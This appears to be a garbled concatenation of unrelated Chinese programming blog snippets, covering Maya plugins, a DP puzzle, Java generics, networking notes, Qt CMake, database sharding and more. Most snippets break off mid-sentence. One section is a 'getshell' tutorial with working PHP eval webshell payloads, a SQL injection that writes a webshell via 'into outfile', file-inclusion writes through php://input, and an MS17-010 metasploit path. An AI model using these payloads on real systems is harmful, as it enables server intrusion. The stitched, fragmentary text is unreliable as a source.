新版maya中英转换插件发布,还在为maya2015-2022软件界面无法修改,文字UI无法修改问题开发的。
一、特点: 1、适用于maya2015-2022全系列版本。
文字大小修改插件发布,之前在网上看到网友们反映,老版Maya2015-2022文字在高分屏上显示太小了,无法修改。国外网友提供的方法修改又太麻烦。于是自己动手吧。
2、操作一如既往的傻瓜式方便,一键搞定。沿袭以往的传统,插件使用非常简单方便。
二、新版更新说明: v1.3 修复了重装maya后无法转换中英文的bug
增加了对maya2020-2022最新版本的支持 。
三、教程链接: v1.2教程链接 https://blog.csdn.net/tian0000hai/article/details/107470675
链接:https://pan.baidu.com/s/1jI5QsL4
提取码:tcn1
南无阿弥陀佛
资源限制
时间限制:1.0s 内存限制:256.0MB
问题描述
给定N×N的棋盘,问有多少种放置N个车使他们不互相攻击的方案。
输入格式
一行一个整数,N。
输出格式
一行一个整数,表示方案数。
样例输入
3
样例输出
6
数据规模和约定
N<=20
一开始用dfs(深度搜素),最后会因为运行超时,所以参考了其他人对于这道题目的解法,知道了要用动态规划的方法,注意存储结果的数组应该用long long数据类型,这不然到N=20时会由于数据过大而溢出(搜了挺多资料,发现并没有对于这道题目的C++解法,所以决定写下我的解题过程,希望能够帮助到大家!!)
参考文章链接:链接
#include<bits/stdc++.h> using namespace std; int main() { int n; cin >> n; long long dp[21]={0}; dp[1]=1; for(int i=2;i<=n;i++) { dp[i]=dp[i-1]*i; } cout << dp[n] << endl; return 0; }
源码 https://github.com/herylee/ruoyi-vue-pro
原地址 ww.iocoder.cn/Yudao/build-debugger-environment/
去**的审核 这叫啥广告? csdn越做越倒处了啊,格局这么小啊
今天是2022-02-15,破事很多最近,心情烦躁,生存不易,遂决定啃下这个项目,自勉!
(1)从intellij idea下载原项目
填好地址目录,要是有错误,搜百度找解决办法
遇到问题,ssl,执行一个命令就行
网络不通,把internet选项局域网连接勾掉,代理选自动
(2) 搭建mysql
下载5.7 mysql到本地,配置好my.ini
命令行进去安装会报错,肯定的,因为没有设置环境变量
搞一下,安装新建一个数据库,但是发现不能使用- 只能下划线_
下载科学版sqlyog 将sql脚本导进去,执行,数据啥的都进去了
(3) 明天准备搞 redis
明天吧,正常跑起来,然后开始修改i成我想要的系统
2-16
装redis github要xx上网,按指南安装即可,powershell有点不兼容
环境变量要设置好
2-17
今天并没有太多时间搞,因为加班回来都8点多了
有新买了电脑,超薄本,确实很轻便,但还是比我想象的重了一丢
下载好各类软禁,试试idea拉去一下代码
人的一生啊,就是忙碌忙碌
那么我的目标呢?
2-20
qunm的审核gou,小气鬼
好,继续跑,这两天太冷了,不想动,但是,你在休息时,别人还在卷啊!
在新电脑上,笔记本,还要重新搭建环境!
来!
今天总算到了
{"code":401,"msg":"账号未登录"}这一步! 啊 花了好多时间,遇到好多人问题,百度了终于搞定! 又有信心了!
但是还没加班? 也许还是逃避吧!
说说遇到的问题
,在控制台执行 mvn clean package -Dmaven.test.skip=true 命令
报错
maven命令行报错:Unknown lifecycle phase “.test.skip=true”.
错误信息
[ERROR] Unknown lifecycle phase “.test.skip=true”. You must specify a valid lifecycle phase or a goal in the format : or :[:]:.
为什么会使用消息中间件? 消息中间件产生的背景? 用户在银行的网关付钱后,银行需要通知到支付宝
但银行的系统不一定能发出通知;
如果通知发出了,不一定能通知到;
如果通知到了,不一定不重复通知一遍;
消息中间件的实际应用 例如,拍下一件商品,在交易管理系统中完成时,它需要
通知商品管理系统减少库存,
通知旺旺服务系统发送旺旺提醒,
通知物流系统上门取货,
通知SNS系统分享订单,
通知公安局的系统这是骗子……
用户的一次请求,在底层系统可能产生10次的消息通知
Notify是一个分布式的消息中间件系统,支持消息的订阅、发送和消费 NotifyServer在ConfigServer上面注册消息服务,
消息的客户端通过ConfigServer订阅消息服务。
某个客户端调用NotifyServer发送一条消息,NotifyServer负责把消息发送到所有订阅这个消息的客户端
为了保证消息一定能发出,且对方一定能接受到,消息数据本身需要记录到数据库中
应用系统通过Notify可以实现分布式事务——BASE(基本可用(basically available)、软状态(soft state)、最终一致性(eventually consistent)
新建一个http.js文件,粘贴以下, (根据需求修改以下参数,引入地址以及参数API_URL,token) import env from '../env'
// ( 上面引入 API_URL = 'https://m.ylnhome.com/api';)
import axios from 'axios'
//(引入axios)
import appUser from './login'
//(需要取token)
class Axios2 {
constructor(config) { this.config = Object.assign({
timeout: 300,
dataType: 'json'
}, config);
//拦截器对象
this.interceptor = {
reqQueue: [],
resQueue: [],
request: function(configFunc) {
this.reqQueue.push(configFunc)
},
response: function(successFunc, failFunc) {
this.resQueue.push(successFunc, failFunc)
}
};
//添加GET,POST.PUT.DELETE四种方法
['POST', 'GET', 'PUT', 'DELETE'].reduce((pre, method) => { pre[method] = function(url, data) {
文章目录 1.互联网提供的两种服务方式及特点1.1.虚电路服务和数据报服务的对比1.2.互联采用的设计思路 2.网络互联的概念、设备、层次、协议2.1.网际协议IP(Internet Protocol) 3.分类的IP的网络数、主机数、掩码、网络地址3.1.IP地址及其表示方法3.2.分类的IP地址 4.CIDR的基本概念及应用(路由聚合、地址块分配、最大地址、最小地址、地址数、掩码等)。与分类的IP地址的对应关系CIDR的基本概念地址块、最大地址、最小地址:地址掩码地址数路由聚合 5.IP数据报格式,各字段的含义及作用。IP数据报分片IP数据报格式、各字段含义及作用 6.ARP协议的基本概念和应用、IP地址和MAC地址的区别ARP协议的基本概念和应用ARP协议的要点:**主机如何知道一个MAC地址?** IP地址的特点:**IP地址与MAC地址的区别** 7.ICMP报文类型、作用ICMP报文类型ICMP报文的作用 8.NAT的作用9.路由器的构成,路由器转发分组的流程,路由表的构建路由表转发分组的流程使用二叉线索树查找转发表 10.路由协议的分类,路由算法的含义和应用从路由算法能否随**网络的通信量或拓扑自适应地进行调整变化**来划分:分层次的路由选择协议内部网关协议RIP内部网关协议OSPF外部网关协议BGP 11.IPV6地址格式IPv6字段介绍**IPv6地址****表示方法**IPv6的常用地址分类 从IPv4向IPv6过渡双协议栈(dual stack)隧道技术(tunneling) 1.互联网提供的两种服务方式及特点 两种服务为:
虚电路服务、数据报服务
1.1.虚电路服务和数据报服务的对比 对比的方面虚电路服务数据报服务思路可靠通信应当由网络来保证可靠通讯应当由用户主机来保证连接的建立必须有不需要终地址仅在连接建立阶段使用,每个分组使用短的虚电路号每个分组都有终点的完整地址分组的转发属于同一条虚电路的分组均按照同一路由进行转发每个分组独立选择路由进行转发当结点出故障时所有通过出故障的结点的虚电路均不能工作出故障的结点可能会丢失分组,一些路由可能会发生变化分组的顺序总是按发送顺序到达终点到达终点时不一定按发送顺序差错处理和流量控制由网络负责,也可以由用户主机负责由用户主机负责数据传送路径所有数据在此虚电路上传送数据传送的路径不确定 1.2.互联采用的设计思路 网络层要设计得尽量简单,向其上层只提供简单灵活的、无连接的、尽最大努力交付的数据报服务。
网络在发送分组时不需要先建立连接。每个分组(IP数据报)独立发送,与其前后的分组无关(不进行编号)。网络层不提供服务质量的承诺,即所传送的分组可能出错、丢失、重复和失序(不按序到达终点),也不保证分组交付的时限。
2.网络互联的概念、设备、层次、协议 2.1.网际协议IP(Internet Protocol) 概念:
网际协议IP是TCP/IP体系中两个最主要的协议之一[STEV94][COME06][FORO10],也是最重要的互联网标准协议之一[RFC791,STD5]。
与协议IP配套的还有三个协议:
地址解析协议ARP(Address Resolution Protocol) 网际控制报文协议ICMP(Internet Control Message Protocol) 网际组管理协议IGMP(Internet Group Management Protocol) 因为网际协议IP是用来使互连起来的许多计算机网络能够进行通信的,因此TCP/IP体系中的网络层常被称为网际层(internet layer),或IP层。
设备、层次:
将网络互连起来要使用一些中间设备。根据中间设备所在层次,可以有以下四种不同的中间设备:
(1)物理层使用的中间设备叫转发器(repeater) (2)物理链路层使用的中间设备叫做网桥或桥接器(bridge),以及交换机(switch) (3)网络层使用的中间设备叫做路由器(router) (4)在网络层上使用的中间设备叫做网关(gateway)。用网关连接两个不兼容的系统需要在高层进行协议的转换。 由于参加互连的计算机网络都使用相同的网际协议IP(Internet Protocol),因此可以把互连以后的计算机网络看成为一个虚拟互连网络。
虚拟互连网络即逻辑互连网络,它的意思是互连起来的各种物理网络的互异性本来是客观存在的,但我们利用协议IP就可以使这些性能各异的网络在网络层上看起来像是一个统一的网络。这种使用协议IP的虚拟互连网络可简称为IP网.(IP网是虚拟的,但平时不必强调"虚拟"二字)
路由表转发: 主机H1把一个IP数据报发送给目的主机H2,由分组交换的存储转发概念,H1要先查看自己的转发表,若目的主机H2是否在本网络上,若是则不经过任何路由器直接交付,任务完成;否则将IP数据报发送给某个路由器,该路由器查找自己的转发表后,知道应该转发给另一个路由器进行间接交付,这样直到最后一个路由器知道自己与H2在同一个网络上,于是将数据报直接交付给H2。
互联网可以由多种异构网络互连组成。
在互联网词汇中,分组在传送途中的每一次转发都称为一"跳(hop)"。hop也被译作跃点。路由器在转发分组时也常常使用"下一条(next hop)"的说法。
3.分类的IP的网络数、主机数、掩码、网络地址 在TCP/IP体系中,IP地址是一个最基本的概念。一个连接在互联网上的设备,若没有IP地址,就无法和网上的其他设备进行通信。
3.1.IP地址及其表示方法 IP地址是给连接到互联网上的每一个主机(或路由器)的每一个接口,分配一个在全世界范围内唯一的32位的标识符。
点分十进制记法(dotted decimal notation):
在32位的IP地址中的每隔8位插入一个空格(机器中没有这样的空格),用其等效的十进制数字表示,且在每段数字间加上一个小数点。
32位的IP地址采用两级结构,由两个字段组成。第一个字段是网络号,标志主机(路由器)所连接到的网络。一个网络号在整个互联网范围内必须是唯一的。
第二个字段是主机号,它标志该主机(对路由器来说,就是标志该路由器)。一个主机号在所连接的网络中必须是唯一的。
由此可知,一个IP地址在整个互联网范围内是唯一的。
IP地址也记为:
IP地址::={<网络号>,<主机号>}
适配器设计模式 作用是在新接口和老接口之间进行适配
原理:通过继承来实现适配器功能
适配器有两种模式 | 类适配器
| 对象适配器
以下是一个简单的列子:
实例: ps2接口与usb接口的转接
---------------------------------------准备阶段
-----------------------ps2接口
/** * 例子:ps2接口与usb接口的转接 * */ public interface Ps2 { void isPs2(); } -----------------------usb接口
/** * 例子:ps2接口与usb接口的转接 * */ public interface Usb { void isUsb(); } -----------------------实现usb接口的实现类
-----------------------(1)类适配器模式调这个
/** * 实现usb接口 * */ public class Usber_class implements Usb{ @Override public void isUsb() { // TODO Auto-generated method stub System.out.println("类适配器usb接口!!!!!"); } } -----------------------(2)对象适配器调这个
public class Usber_Object implements Usb{ @Override public void isUsb() { // TODO Auto-generated method stub System.
三台虚拟机
192.168.209.128 rancher
192.168.209.131 master
192.168.209.132 node1
docker 启动命令
docker run -d --restart=unless-stopped \ -p 8080:80 -p 8443:443 \ -e CATTLE_SYSTEM_CATALOG=bundled \ -e AUDIT_LEVEL=3 \ rancher/rancher:v2.3.3 重置rancher
//这样 rm -rf /var/lib/rancher/state; docker rm -fv /var/lib/rancher-agent; docker rm -fv /var/lib/rancher-agent-state //重置 df -h|grep kubelet |awk -F % '{print $2}'|xargs umount sudo rm /var/lib/kubelet/* -rf sudo rm /etc/kubernetes/* -rf sudo rm /etc/cni/* -rf sudo rm /var/lib/rancher/* -rf sudo rm /var/lib/etcd/* -rf sudo rm /var/lib/cni/* -rf sudo rm /opt/cni/* -rf sudo ip link del flannel.
1、环境配置 Win10家庭中文版
VS2017 Community2017
OpenCV 3.4.4
2、问题描述 使用如下代码运行会出现两个窗口,一个为带图片不可交互窗口,一个为灰色可交互窗口
int showImage(int argc, char** argv) { //显示图片 cv::Mat img = cv::imread(argv[1], -1); if (img.empty())return -1; cv::namedWindow("Example1", cv::WINDOW_AUTOSIZE); cv::imshow("Example1", img); cv::waitKey(0); cv::destroyWindow("Example1"); return 0; } 源码很简单可以运行,没有问题
3. 解决方案 项目》属性》链接器》输入》附加依赖项
将配置opencv时添加的依赖项删除一个
opencv_worldxxx.lib
opencv_worldxxxd.lib
转载自:
https://blog.csdn.net/u014284965/article/details/88172045
uniapp 创建推送通知栏 plus.push.createMessage(content,payload,option)
参数 **content**: ( String 类型) 必选 消息显示的内容,在系统通知中心中显示的文本内容。 **payload**: ( String 类型 ) 可选 消息承载的数据,可根据业务逻辑自定义数据格式。 **option**: ( MessageOptions ) 可选 创建消息的额外参数,参考MessageOptions。 MessageOptions : JSON对象,获客户端创建本地消息的参数 1、title: (String 类型 )推送消息的标题。 2、sound: (String 类型 )推送消息的提示音,显示消息时的播放的提示音,可取值: “system”-表示使用系统通知提示音; “none”-表示不使用提示音; 默认值为“system”。 3、cover: (Boolean 类型 )是否覆盖上一次提示的消息。可取值true或false,true为覆盖,false不覆盖 4、when: (Date 类型 )消息上显示的提示时间。 5、delay: (Number 类型 )提示消息延迟显示的时间。当设备接收到推送消息后,可不立即显示,而是延迟一段时间显示,延迟时间单位为s,默认为0s,立即显示。 使用例子 plus.push.addEventListener( 'receive', msg => { if (msg.type == 'receive') { let msgJson = JSON.parse(msg.payload); let options = { cover: false, sound: 'system', title: msgJson.
一.相同点: join()和get()方法都是用来获取CompletableFuture异步之后的返回值
二.区别: 1.join()方法抛出的是uncheck异常(即RuntimeException),不会强制开发者抛出,
会将异常包装成CompletionException异常 /CancellationException异常,但是本质原因还是代码内存在的真正的异常,
public static void main(String[] args) { CompletableFuture<Integer> f1 = CompletableFuture.supplyAsync(() -> { int i =1/0; return 1; }); CompletableFuture.allOf(f1).join(); System.out.println("CompletableFuture Test"); } 异常信息
Exception in thread "main" java.util.concurrent.CompletionException: java.lang.ArithmeticException: / by zero at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:273) at java.util.concurrent.CompletableFuture.completeThrowable(CompletableFuture.java:280) at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1592) at java.util.concurrent.CompletableFuture$AsyncSupply.exec(CompletableFuture.java:1582) at java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:289) at java.util.concurrent.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1056) at java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1692) at java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:157) Caused by: java.lang.ArithmeticException: / by zero at com.gabriel.stage.utils.IpAddressUtil.lambda$main$0(IpAddressUtil.java:44) at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1590) ... 5 more 2.get()方法抛出的是经过检查的异常,ExecutionException, InterruptedException 需要用户手动处理(抛出或者 try catch)
文章目录 0. 前言1. CMakeLists处理1.1 moc uic rcc自动调用1.2 添加Qt模块和生成执行文件1.3 其它处理1.4 完整CMakeLists 2. 运行时依赖处理3. 小结 0. 前言 本文默认朋友们都已经掌握了CMake的基本操作,也可以再去笔者的CMake专栏瞄一眼,或者上CMake官方文档学一圈再回来。
对于在CMake中使用Qt,我们可以先想一下一个Qt程序需要配置哪些内容。
首先需要搬出来Qt的几个编译工具:moc、uic、rcc,这几个工具在Qt Assistant中都可以直接搜索到介绍页面,这里简单说一下各自都干什么的:
moc:元对象编译器(Meta Object Compiler),用来处理带有Q_OBJECT宏的类。我们在声明class的时候,继承QObject,再私有声明Q_OBJECT宏就可以使用Qt的信号和槽了,实际上是Qt利用moc将各个类所需要的元对象代码(meta-object code)补充好了; moc读取一个头文件,补充其中带有Q_OBJECT宏类的元对象代码,一般生成一个moc_ClassName.cpp文件。
uic:用户界面编译器(User Interface Compiler),用来编译ui界面文件的;rcc:资源编译器(Resource Compiler),把qrc文件编译成对应的C++代码; 所以在CMake工程中使用Qt首先要搞明白如何调用这些工具。
然后,类似所有第三方库的使用,在CMake中如何链接Qt的库,找到对应的头文件也需要我们搞清楚。
下面我们带着这些问题继续。
1. CMakeLists处理 1.1 moc uic rcc自动调用 首先对于moc uic rcc这几位大佬,处理起来竟然出奇地简单:
set(CMAKE_AUTOMOC ON) set(CMAKE_AUTORCC ON) set(CMAKE_AUTOUIC ON) 设置了这几个变量后,会在需要时自动调用这几个编译器,不得不说这还是十分人性化的。
在添加exe时的语法也很易于理解:
add_executable(TestQtCMake WIN32 src/main.cpp src/mainwindow.cpp src/mainwindow.h src/mainwindow.ui ) 但其中的WIN32参数可能需要提示一下:如果提供了WIN32,则将设置WIN32_EXECUTABLE变量为ON,此时将生成一个界面程序而不是控制台程序。
1.2 添加Qt模块和生成执行文件 然后是添加库,使用了find_package()函数,官方说明见此处。这里简要说明用法如下:
find_package(Qt5 COMPONENTS Widgets REQUIRED) 首先,要使用find_package()函数,需要提供一个.cmake文件,如何让CMake知道这个文件,可以采用两种办法:
设置环境变量CMAKE_PREFIX_PATH,值为Qt5安装位置,这是官方Qt-CMake教程中的推荐做法;设置CMake中Qt5_DIR变量,值为Qt5Config.cmake文件的位置。可以使用Everything搜一下文件位置,笔者这里举例:set(Qt5_DIR D:/APPs/Qt/5.14.2/5.14.2/msvc2017_64/lib/cmake/Qt5/) 从上方目录可以看出来,这个.cmake文件是不同Qt版本和不同编译平台都有一套,所以对于官方推荐做法笔者并不是很推荐,难不成当需要换平台的时候还去改环境变量?👻
另外,其中有几个关键词:
REQUIRED:必须找到该库,找不到就报错;COMPONENTS:从库中找子模块,此处找的是Widgets; 有一点值得提出的是:在qmake工程中的QT += core widgets语句也是添加模块,这些模块其实就是库文件,windows平台可以在Qt安装目录下找到Qt5Core.
1、下载镜像https://www.paddlepaddle.org.cn/install/quick?docurl=/documentation/docs/zh/install/docker/linux-docker.html#anchor-0
docker pull registry.baidubce.com/paddlepaddle/paddle:2.0.1 2、启动容器
CPU:
sudo docker run --name paddleCPU -p 8865:8865 -p 8866:8866 -p 8867:8867 -p 8868:8868 -v $PWD:/paddle -it registry.baidubce.com/paddlepaddle/paddle:2.0.1 /bin/bash GPU:
sudo nvidia-docker run --name paddleGPU -p 8865:8865 -p 8866:8866 -p 8867:8867 -p 8868:8868 -v $PWD:/paddle -it registry.baidubce.com/paddlepaddle/paddle:2.0.1-gpu-cuda11.0-cudnn8 /bin/bash 3、更新PIP
pip3.7 install --upgrade pip 3、安装PaddlePaddle 2.0
# 如果您的机器安装的是CUDA9或CUDA10,请运行以下命令安装
python3.7 -m pip install paddlepaddle-gpu==2.0.1 -i https://mirror.baidu.com/pypi/simple # 如果您的机器是CPU,请运行以下命令安装
python3.7 -m pip install paddlepaddle==2.0.1 -i https://mirror.baidu.com/pypi/simple 4、服务化服务启动需要安装hub
运行一个简单的异步阶段 这个例子创建一个一个异步执行的阶段:
static void runAsyncExample() { CompletableFuture cf = CompletableFuture.runAsync(() -> { assertTrue(Thread.currentThread().isDaemon()); randomSleep(); }); assertFalse(cf.isDone()); sleepEnough(); assertTrue(cf.isDone()); } 通过这个例子可以学到两件事情:
CompletableFuture的方法如果以Async结尾,它会异步的执行(没有指定executor的情况下), 异步执行通过ForkJoinPool实现, 它使用守护线程去执行任务。注意这是CompletableFuture的特性, 其它CompletionStage可以override这个默认的行为。
-------------------------------------------------------------------
runAsync 方法不支持返回值。
//无返回值 public static void runAsync() throws Exception { CompletableFuture<Void> future = CompletableFuture.runAsync(() -> { try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { } System.out.println("run end ..."); }); future.get(); }
mmc 驱动框架 梳理tf卡读取异常重启逻辑问题进展: a. 查找代码发现,在mmc_blk_issue_rw_rq函数中可以找到数据读取数据异常时的处理机制,其中部分代码如下: static int mmc_blk_issue_rw_rq(struct mmc_queue *mq, struct request *rqc) { ... mmc_start_req(card->host, areq, (int *) &status);//读取数据 switch (status) { case MMC_BLK_DATA_ERR://读取数据错误 case MMC_BLK_CMD_ERR://执行命令错误 case MMC_BLK_ABORT:// 异常退出 mmc_blk_reset(); //执行复位函数 } ... } 执行复位函数的逻辑,其中部分代码 mmc_blk_reset |--->mmc_hw_reset |--->host->bus_ops->reset |--->mmc_reset //复位函数 |--->mmc_flush_cache(host->card); //清除cache |--->mmc_power_cycle(host, card->ocr); //执行io断电复位操作 |--->mmc_set_ios |---> host->ops->set_ios |--->_SetPower |--->Hal_CARD_PowerOn/Hal_CARD_PowerOff |--->mmc_init_card(host, card->ocr, card);//重新初始化tf卡 复位函数主要体现在mmc_reset 函数中。在文件sstar/sdmmc/ms_sdmmc_lnx.c 中st_mmc_ops,并未实现hw_reset函数,因此mmc_reset,主要内容为: 1、执行mmc_flush_cache,清除cache 2、mmc_power_cycle, 执行io断电复位操作,具体逻辑如下 void mmc_power_cycle(struct mmc_host *host, u32 ocr) { mmc_power_off(host); /* Wait at least 1 ms according to SD spec */ mmc_delay(1); mmc_power_up(host, ocr); } 3、执行mmc_init_card,重新初始化tf卡 b.
1. 描述 一个spring boot 的简单demo示例。
环境:
IDE(idea):2021.3 JDK:1.8 maven:3.8.4 spring boot:2.5.6 2. 结果 接口返回 Hello {name}!,eg: Hello World! 3. demo 3.0 项目结构
3.1 pom.xml
引入 web jar包 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>com.byrc</groupId> <artifactId>byrc-demo</artifactId> <version>1.0-SNAPSHOT</version> </parent> <artifactId>demo-web</artifactId> <version>1.0.0-SNAPSHOT</version> <packaging>jar</packaging> <name>${project.artifactId}</name> <description>Demo project for Spring Boot</description> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <java.version>1.8</java.version> </properties> <dependencies> <!--提供全栈的 web 开发特性,包括 Spring MVC 依赖和 Tomcat 容器--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <!-- 提供通用单元测试依赖,包括 JUnit, Hamcrest , Mockito--> <dependency> <groupId>org.
将<?xml version="1.0" encoding="UTF-8" ?> 改为 <?xml version="1.0" encoding="UTF8" ?>即可
即将 - 去掉
解决流程 import Link from 'next/link' const NavLink = ({ href, name }) => { return ( //添加passHref <Link href={href} passHref> {name} </Link> ) } export default NavLink 个人网站:沉默博客
如有错误,请多多指教。
如对你有帮助,给个赞吧。
目录 1. 泛型的提出2. 在集合中使用泛型3. 自定义泛型类1. 使用泛型类2. 子类继承泛型类 4. 泛型方法 1. 泛型的提出 List中默认的类型是Object,当我们向List中传入数字和字符串的时候可以执行,但是当要输出的时候就让人头疼。这时候泛型就出来了,可以指定List中传入对象的类型。当传入与指定类型不一样的对象时就会直接报错,让代码更加规范。
2. 在集合中使用泛型 这里泛型不能是基本数据类型,型要求包容的是对象类型。List<int> arr = new ArrayList<int>();要改为List<Integer> arr = new ArrayList<Integer>();此时使用.add()方法会发现只允许我们放Integer类型,当我们想要加入不一样的类型时,编译不会通过。
代码测试
import java.util.ArrayList; import java.util.List; public class Test { public static void main(String[] args) { List<Integer> arr = new ArrayList<Integer>(); arr.add(11); arr.add(12); arr.add(13); arr.add(14); for (Integer num: arr) { System.out.println(num); } } } 在实例化集合类时,可以指明具体的泛型类型,指明完后,在集合类或接口中定义类或接口时,内部结构使用到类的泛型,都被指定为实例化的泛型类型。
3. 自定义泛型类 当我们创建的类的属性类型不太确定时,可以使用泛型。需要在类名上加入<T>这里使用其他字母也可以。类的内部就可以使用类的泛型,同时要注意并不是说这个属性类型就是这个类的类型。
public class Student<T> { String name; int age; T stu; @Override public String toString() { return "
垂直分表 操作数据库中某张表,把这张表的一部分字段数据存到一张新表里,再把这张表的另一部分字段数据存到另外一张表里面,垂直分表是在一个数据库中处理
字段数据:可以理解为表中的列
垂直分表的原则:
1、把不经常查询的字段放在一张单独的表
2、把字段中存储数据量大的放到一张单独的表
3、查询频率高的组合查询字段放在一张表中
垂直分表的好处:
1、为了避免IO争抢减少了锁表的几率
2、充分发挥热门数据的操作效率 ——> 商品信息的操作的高效率不会被商品描述的低效率所拖累
商品信息指的是简略信息:浏览众多商品时展示的卡片信息,而商品的描述信息则是点击进入卡片的详细信息
垂直分库——根据业务分库 垂直分库是指按照业务将表进行分类,分布到不同的数据库上面,每个库可以放在不同的服务器上
把单一数据库按照业务进行划分,专库专表
eg: 把 订单和商品的数据库分别放到不同的数据库中
垂直分库带来的好处:
1、在高并发场景下,垂直分库一定程度的提升IO、数据库的连接数
2、垂直分库将表按照业务分类,然后分布在不同的数据库中,并且可以将这些数据库部署到不同的服务器上,从而达到多个服务器共同分担压力的效果
垂直分库没有解决单表的数据量过大的问题
水平分库 将商品的ID为单数和商品ID为偶数的商品信息分别放在两个库中
水平分库是把同一个表的数据按照一定规则(奇数偶数)拆到不同的数据库中,每个库可以
放到不同的服务器上
水平分库带来的好处:
解决了单库大数据
提高了系统的稳定性和可用性
稳定性体现在IO的冲突减少,锁表的几率减少
可用性指某个库出问题,部分可用
水平分表 和水平分库一样,也是为了解决单表数据量大的问题
和水平分库的思路类似,不过这次操作的目标是表。如果商品的id为偶数,将此商品信息持久化到商品A表,如果商品的id为奇数,将此商品信息持久化到商品B表
水平分表是在同一个数据库内,把一个表的数据按照一定的规则拆到多个表中
水平分表的好处:
1、优化单一数据量过大而产生的性能问题
2、避免IO争抢并减少锁表的几率
总结 一般来说,在数据量及访问压力不是特别大的情况,首先考虑缓存、读写分离,索引等等技术方案。若数据量极大,且持续增长,再考虑水平分库水平分表方案
getshell能干嘛文件上传getshell文件包含getshellsql注入getshell操作系统漏洞getshellRCE getshell总结 授人以鱼,不如授人以渔
getshell能干嘛 1.执行终端命令
2.文件管理(增删改查)
3.数据库管理(增删改查,前提找到root用户密码)
文件上传getshell 网站有上传点,最容易getshell。
直接上传一个一句话木马,然后使用webshell管理工具,就能成功getshell
如果web应用对上传的文件进行过滤,要想办法绕过,如前端js绕过,MIME验证绕过,黑名单绕过,大小写绕过,双写绕过,00截断,利用web容器的解析漏洞绕过等等,这里就不一一列举了
文件包含getshell 利用文件包含漏洞,输入php://input伪协议,进行写入一句话木马
<?php fputs(fopen('muma1.php','w'),'<?php echo "I am a horse";@eval($_REQUEST["pass"]);?>');?> 因为文件包含会解析php
所以当执行了这个脚本,会在目标服务器创建一个muma1.php的一句话木马
直接连接我们创建的木马,即可getshell
sql注入getshell 前提
1.secure_file_priv为空
2.当前数据库用户具有文件读写权限
3.魔术引号关闭
4.知道网站根目录路径
@@basedir 知道它的数据库根目录,去推测其web根目录
然后将木马导出到web根目录中
-1' union select 1,2,"<?php eval($_REQUEST['pass']);?>" into outfile "C:/phpstudy_pro/WWW/muma2.php"%23 使用webshell管理工具连接
操作系统漏洞getshell 利用操作系统内核溢出漏洞getshell
服务器ip(攻击者可以使用ping 域名获取,有CDN先绕过)
然后攻击者使用nmap NSE查看服务器的存在的漏洞
sudo nmap --script vuln -T 4 192.168.208.131 这里找到了两个漏洞,这里最有价值的是ms17-010(永恒之蓝)这个漏洞,因为可以RCE
接着就可以使用metasploit里的exp进行getshell了
这里的meterpreter就是一个shell,而且功能还十分强大,有兴趣可以自行了解
RCE getshell 当我们提交的数据被服务器当作终端命令执行的时候,其实已经getshell了,因为我们可以可以输入各种各样的终端命令,达到文件管理,用户管理等目的。
但这里还是演示下,当web应用有个RCE的其中一个利用方法
12 & echo "<?php echo "I am a horse"
文章目录 软件设计原则6种原则开闭原则里氏代换原则依赖倒转原则接口隔离原则迪米特法则合成复用原则 软件设计原则 在软件开发过程中,为了提高软件系统的可维护性和可复用性,增加软件的可扩展性和灵活性,程序员要尽量根据6条原则来开发程序,从而提高软件开发效率、节约软件开发成本和维护成本。
6种原则 6种原则分别为:开闭原则、里氏代换原则、依赖倒转原则、接口隔离原则、迪米特法则、合成复用原则。我将逐个进行分析,学习,理解。
开闭原则 对扩展开放,对修改关闭。
在程序需要拓展时,不能直接修改原有的代码,实现热插拔的效果(比如U盘、鼠标等),这样做可以使程序的扩展性好且易于维护和升级。
这时候我们就要用到接口和抽象类。抽象类灵活性好,适应性广,只要抽象合理,就能基本保证软件架构的稳定,而软件中经常改变的细节可以从抽象派生的实现类来进行扩展,当软件需要发生变化时,只需要根据需求重新派生一个实现类来扩展就可以完成需求。
举例: 王者某某中每个英雄都有自己的皮肤,皮肤是每个role的组成部分,用户可以自己选择喜欢的皮肤进行切换,不管是原皮还是伴生皮肤都有共同的特点,可以为其定义一个抽象类(AbstractSkin),而每个具体的皮肤(DefaultSkin)和(CompanySkin)是其子类。玩家可以根据自己的喜好选择皮肤而不需要修改源代码,所以它满足开闭原则。
部分代码如下:
//抽象皮肤类 public abstract class AbstractSkin { public abstract void display(); } //默认皮肤类 public class DefaultSkin extends AbstractSkin{ public void display(){ System.out.println("默认皮肤"); } } //伴生皮肤类 public class CompanySkin extends AbstractSkin{ public void display(){ System.out.println("伴生皮肤"); } } //角色类 public class role { public AbstractSkin skin; public void setSkin(AbstractSkin skin) { this.skin = skin; } public void display(){ skin.display(); } } //测试类 public class test { public static void main(String[] args) { //创建角色对象 role roles = new role(); //创建皮肤对象,这里可以切换不同的皮肤。 //DefaultSkin skin = new DefaultSkin(); CompanySkin skin = new CompanySkin(); //将皮肤设置给角色 roles.
八、JS的执行机制 8.1 进程和线程的概念 进程和线程的概念: 进程:我们可以认为,启动一个应用程序,就会默认启动一个进程(也可能是多个进程)线程:每一个进程中,都会启动一个线程用来执行程序中的代码,这个线程被称之为主线程所以我们也可以说进程是线程的容器 8.2 JavaScript的单线程 JavaScript是一门**单线程的语言,执行JavaScript代码只在一个单独的线程中执行
也就是说,同一个时间只能做一件事 单线程意味着:如果在同个时间有多个任务的话,这些任务就需要进行排队,前一个任务执行完,才会执行下一个任务,如果有其中一个任务执行时间过久,就会导致页面堵塞
为了解决单线程问题,js将执行的任务分成了 同步任务 和 异步任务
而其中异步任务又分为了宏任务和微任务
8.3 同步任务和异步任务 同步任务
